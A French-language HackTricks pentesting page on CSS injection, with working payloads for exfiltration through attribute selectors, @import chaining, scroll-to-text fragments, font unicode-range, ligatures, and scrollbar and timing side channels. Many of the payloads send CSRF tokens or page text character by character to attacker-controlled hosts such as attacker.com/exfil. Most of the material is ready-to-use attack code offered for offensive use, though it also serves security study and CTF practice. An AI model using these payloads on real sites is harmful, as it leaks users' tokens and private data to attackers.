hacktricks/pentesting-web/xs-search/css-injection
2024-01-10 17:09:46 +00:00
..
css-injection-code.md Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente 2024-01-10 17:09:46 +00:00
README.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 19:54:07 +00:00

Injection CSS

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Injection CSS

Sélecteur d'attribut

La principale technique pour exfiltrer des informations via l'injection CSS consiste à essayer de faire correspondre un texte avec CSS et dans le cas où ce texte existe, charger une ressource externe, comme :

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

Cependant, notez que cette technique ne fonctionnera pas si, dans l'exemple, l'entrée du nom csrf est de type caché (et c'est généralement le cas), car l'arrière-plan ne sera pas chargé.
Cependant, vous pouvez contourner cet obstacle en, au lieu de faire charger un arrière-plan par l'élément caché, faire en sorte que tout ce qui suit charge l'arrière-plan :

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Exemple de code pour exploiter ceci : https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e

Prérequis

  1. L'injection CSS doit permettre des charges utiles suffisamment longues
  2. Capacité à encadrer la page pour déclencher la réévaluation CSS des charges utiles nouvellement générées
  3. Capacité à utiliser des images hébergées à l'extérieur (peut être bloqué par CSP)

Sélecteur d'Attribut Aveugle

Comme expliqué dans cet article, il est possible de combiner les sélecteurs :has et :not pour identifier le contenu même à partir d'éléments aveugles. Cela est très utile lorsque vous n'avez aucune idée de ce qui se trouve à l'intérieur de la page web chargeant l'injection CSS.
Il est également possible d'utiliser ces sélecteurs pour extraire des informations de plusieurs blocs du même type comme dans :

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

En combinant cela avec la technique suivante @import, il est possible d'exfiltrer beaucoup d'informations en utilisant l'injection CSS à partir de pages aveugles avec blind-css-exfiltration.

@import

La technique précédente présente quelques inconvénients, vérifiez les prérequis. Vous devez soit être capable d'envoyer plusieurs liens à la victime, soit être capable de mettre en iframe la page vulnérable à l'injection CSS.

Cependant, il existe une autre technique astucieuse qui utilise CSS @import pour améliorer la qualité de la technique.

Cela a été d'abord montré par Pepe Vila et cela fonctionne comme ceci :

Au lieu de charger la même page encore et encore avec des dizaines de charges utiles différentes à chaque fois (comme dans la technique précédente), nous allons charger la page juste une fois et seulement avec un import vers le serveur de l'attaquant (c'est la charge utile à envoyer à la victime) :

@import url('//attacker.com:5001/start?');
  1. L'importation va recevoir du script CSS de la part des attaquants et le navigateur va le charger.
  2. La première partie du script CSS que l'attaquant enverra est un autre @import vers le serveur de l'attaquant, encore une fois.
  3. Le serveur de l'attaquant ne répondra pas à cette requête pour l'instant, car nous voulons leak quelques caractères puis répondre à cet import avec le payload pour leak les suivants.
  4. La deuxième partie et la plus importante du payload sera un payload de fuite de sélecteur d'attribut
  5. Cela enverra au serveur de l'attaquant le premier caractère du secret et le dernier
  6. Une fois que le serveur de l'attaquant a reçu le premier et le dernier caractère du secret, il répondra à l'import demandé à l'étape 2.
  7. La réponse sera exactement la même que les étapes 2, 3 et 4, mais cette fois, elle essaiera de trouver le deuxième caractère du secret puis l'avant-dernier.

L'attaquant suivra cette boucle jusqu'à ce qu'il parvienne à leak complètement le secret.

Vous pouvez trouver le code original de Pepe Vila pour exploiter cela ici ou vous pouvez trouver presque le même code mais commenté ici.

{% hint style="info" %} Le script essaiera de découvrir 2 caractères à chaque fois (du début et de la fin) car le sélecteur d'attribut permet de faire des choses comme :

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

Cela permet au script de divulguer le secret plus rapidement. {% endhint %}

{% hint style="warning" %} Parfois, le script ne détecte pas correctement que le préfixe + suffixe découvert est déjà le drapeau complet et il continuera vers l'avant (dans le préfixe) et vers l'arrière (dans le suffixe) et à un moment, il se bloquera.
Pas d'inquiétude, vérifiez simplement la sortie car vous pouvez y voir le drapeau. {% endhint %}

Autres sélecteurs

Autres moyens d'accéder aux parties du DOM avec les sélecteurs CSS :

  • .class-to-search:nth-child(2) : Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM.
  • :empty sélecteur : Utilisé par exemple dans ce compte-rendu** :**
[role^="img"][aria-label="1"]:empty { background-image: url("VOTRE_URL_SERVEUR?1"); }

XS-Search basé sur les erreurs

Référence : Attaque basée sur CSS : Abuser de unicode-range de @font-face , Preuve de concept XS-Search basée sur les erreurs par @terjanq

L'idée principale est d'utiliser une police personnalisée depuis un point de terminaison que nous contrôlons dans un texte qui sera affiché seulement si la ressource ne peut pas être chargée.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://ourenpoint.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>

Style du fragment de défilement vers le texte

Lorsqu'un fragment d'URL cible un élément, la pseudo-classe :target peut être utilisée pour le sélectionner, mais ::target-text ne correspond à rien. Elle ne correspond qu'au texte qui est lui-même ciblé par le [fragment].

Par conséquent, un attaquant pourrait utiliser le fragment Scroll-to-text et si quelque chose est trouvé avec ce texte, nous pouvons charger une ressource (via injection HTML) depuis le serveur de l'attaquant pour l'indiquer :

:target::before { content : url(target.png) }

Un exemple de cette attaque pourrait être :

{% code overflow="wrap" %}

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

{% endcode %}

Ce qui abuse d'une injection HTML envoyant le code :

{% code overflow="wrap" %}

<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>

{% endcode %}

avec le fragment de défilement vers le texte : #:~:text=Administrateur

Si le mot Administrateur est trouvé, la ressource indiquée sera chargée.

Il existe trois principales atténuations :

  1. STTF ne peut correspondre qu'à des mots ou des phrases sur une page web, rendant théoriquement impossible la fuite de secrets ou de jetons aléatoires (à moins que nous décomposions le secret en paragraphes d'une lettre).
  2. Il est limité aux contextes de navigation de premier niveau, donc il ne fonctionnera pas dans un iframe, rendant l'attaque visible pour la victime.
  3. Un geste d'activation de l'utilisateur est nécessaire pour que STTF fonctionne, donc seules les navigations résultant d'actions de l'utilisateur sont exploitables, ce qui diminue grandement la possibilité d'automatiser l'attaque sans interaction de l'utilisateur. Cependant, il existe certaines conditions que l'auteur du billet de blog ci-dessus a découvertes qui facilitent l'automatisation de l'attaque. Un autre cas similaire sera présenté dans PoC#3.
  4. Il existe quelques contournements pour cela comme l'ingénierie sociale, ou forcer les extensions de navigateur courantes à interagir.

Pour plus d'informations, consultez le rapport original : https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Vous pouvez vérifier un exploit utilisant cette technique pour un CTF ici.

@font-face / unicode-range

Vous pouvez spécifier des polices externes pour des valeurs unicode spécifiques qui ne seront rassemblées que si ces valeurs unicode sont présentes sur la page. Par exemple :

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

Lorsque vous accédez à cette page, Chrome et Firefox récupèrent "?A" et "?B" car le nœud de texte de sensitive-information contient les caractères "A" et "B". Cependant, Chrome et Firefox ne récupèrent pas "?C" car il ne contient pas "C". Cela signifie que nous avons pu lire "A" et "B".

Exfiltration de nœud de texte (I) : ligatures

Référence : Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację

Nous pouvons extraire le texte contenu dans un nœud avec une technique qui combine les ligatures de police et la détection de changements de largeur. L'idée principale derrière cette technique est la création de polices qui contiennent une ligature prédéfinie de grande taille et l'utilisation des changements de taille comme oracle.

Les polices peuvent être créées sous forme de polices SVG puis converties en woff avec fontforge. En SVG, nous pouvons définir la largeur d'un glyphe via l'attribut horiz-adv-x, donc nous pouvons construire quelque chose comme <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, XY étant une séquence de deux caractères. Si la séquence existe, elle sera rendue et la taille du texte changera. Mais… comment pouvons-nous détecter ces changements ?

Lorsque l'attribut white-space est défini sur nowrap, cela force le texte à ne pas se casser lorsqu'il dépasse la largeur du parent. Dans cette situation, une barre de défilement horizontale apparaîtra. Et nous pouvons définir le style de cette barre de défilement, donc nous pouvons détecter quand cela se produit :)

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); }

À ce stade, l'attaque est claire :

  1. Créer des polices pour la combinaison de deux caractères de grande largeur
  2. Détecter la fuite via l'astuce de la barre de défilement
  3. En utilisant la première ligature fuitée comme base, créer de nouvelles combinaisons de 3 caractères (en ajoutant des caractères avant/après)
  4. Détecter la ligature de 3 caractères.
  5. Répéter jusqu'à fuite du texte entier

Nous avons encore besoin d'une méthode améliorée pour commencer l'itération car <meta refresh=... est sous-optimal. Vous pourriez utiliser l'astuce CSS @import pour optimiser l'exploit.

Exfiltration de nœud de texte (II) : fuite du jeu de caractères avec une police par défaut (sans nécessiter d'actifs externes)

Référence : PoC utilisant Comic Sans par @Cgvwzq & @Terjanq

Cette astuce a été publiée dans ce fil de discussion Slackers. Le jeu de caractères utilisé dans un nœud de texte peut être fuité en utilisant les polices par défaut installées dans le navigateur : aucune police externe ou personnalisée n'est nécessaire.

La clé est d'utiliser une animation pour augmenter la largeur du div de 0 à la fin du texte, la taille d'un caractère à chaque fois. En faisant cela, nous pouvons « diviser » le texte en deux parties : un « préfixe » (la première ligne) et un « suffixe », de sorte que chaque fois que le div augmente sa largeur, un nouveau caractère passe du « suffixe » au « préfixe ». Quelque chose comme :

C
ADB

CA
DB

CAD
B

CADB

Lorsqu'un nouveau caractère passe à la première ligne, l'astuce unicode-range est utilisée pour détecter le nouveau caractère dans le préfixe. Cette détection se fait en changeant la police pour Comic Sans, dont la hauteur est supérieure, ce qui déclenche une barre de défilement verticale (fuitant la valeur du caractère). De cette façon, nous pouvons fuite chaque caractère différent une fois. Nous pouvons détecter si un caractère est répété mais pas quel caractère est répété.

{% hint style="info" %} En gros, l'unicode-range est utilisé pour détecter un caractère, mais comme nous ne voulons pas charger une police externe, nous devons trouver une autre façon.
Lorsque le caractère est trouvé, il se voit attribuer la police Comic Sans préinstallée, ce qui rend le caractère plus grand et déclenche une barre de défilement qui fuit le caractère trouvé. {% endhint %}

Vérifiez le code extrait du PoC :

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Exfiltration de nœud de texte (III) : fuite du jeu de caractères avec une police par défaut en masquant des éléments (sans nécessiter d'actifs externes)

Référence : Ceci est mentionné comme une solution infructueuse dans ce compte-rendu

Ce cas est très similaire au précédent, cependant, dans ce cas, l'objectif de rendre certains caractères plus grands que d'autres est de masquer quelque chose comme un bouton pour ne pas être pressé par le bot ou une image qui ne sera pas chargée. Ainsi, nous pourrions mesurer l'action (ou l'absence d'action) et savoir si un caractère spécifique est présent dans le texte.

Exfiltration de nœud de texte (III) : fuite du jeu de caractères par le timing du cache (sans nécessiter d'actifs externes)

Référence : Ceci est mentionné comme une solution infructueuse dans ce compte-rendu

Dans ce cas, nous pourrions essayer de détecter si un caractère est dans le texte en chargeant une fausse police depuis la même origine :

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Si une correspondance est trouvée, la police sera chargée depuis /static/bootstrap.min.css?q=1. Bien qu'elle ne se charge pas avec succès, le navigateur devrait la mettre en cache, et même s'il n'y a pas de cache, il existe un mécanisme 304 not modified, donc la réponse devrait être plus rapide que d'autres choses.

Cependant, si la différence de temps entre la réponse mise en cache et celle qui ne l'est pas n'est pas assez grande, cela ne sera pas utile. Par exemple, l'auteur a mentionné : Cependant, après avoir testé, j'ai trouvé que le premier problème est que la vitesse n'est pas très différente, et le deuxième problème est que le bot utilise le drapeau disk-cache-size=1, ce qui est vraiment réfléchi.

Exfiltration de nœud de texte (III) : fuite du jeu de caractères par mesure du temps de chargement de centaines de "polices" locales (sans nécessiter d'actifs externes)

Référence : Ceci est mentionné comme une solution infructueuse dans ce compte-rendu

Dans ce cas, vous pouvez indiquer au CSS de charger des centaines de fausses polices de la même origine lorsqu'une correspondance se produit. De cette façon, vous pouvez mesurer le temps que cela prend et déterminer si un caractère apparaît ou non avec quelque chose comme :

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

Le code du bot ressemble à ceci :

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Donc, en supposant que la police ne correspond pas, le temps pour obtenir la réponse lors de la visite du bot devrait être d'environ 30 secondes. S'il y a une correspondance, un grand nombre de requêtes seront envoyées pour obtenir la police, et le réseau aura toujours quelque chose, donc cela prendra plus de temps pour atteindre la condition d'arrêt et obtenir la réponse. Ainsi, le temps de réponse peut indiquer s'il y a une correspondance.

## Références

* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
* [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)

<details>

<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Autres moyens de soutenir HackTricks :

* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>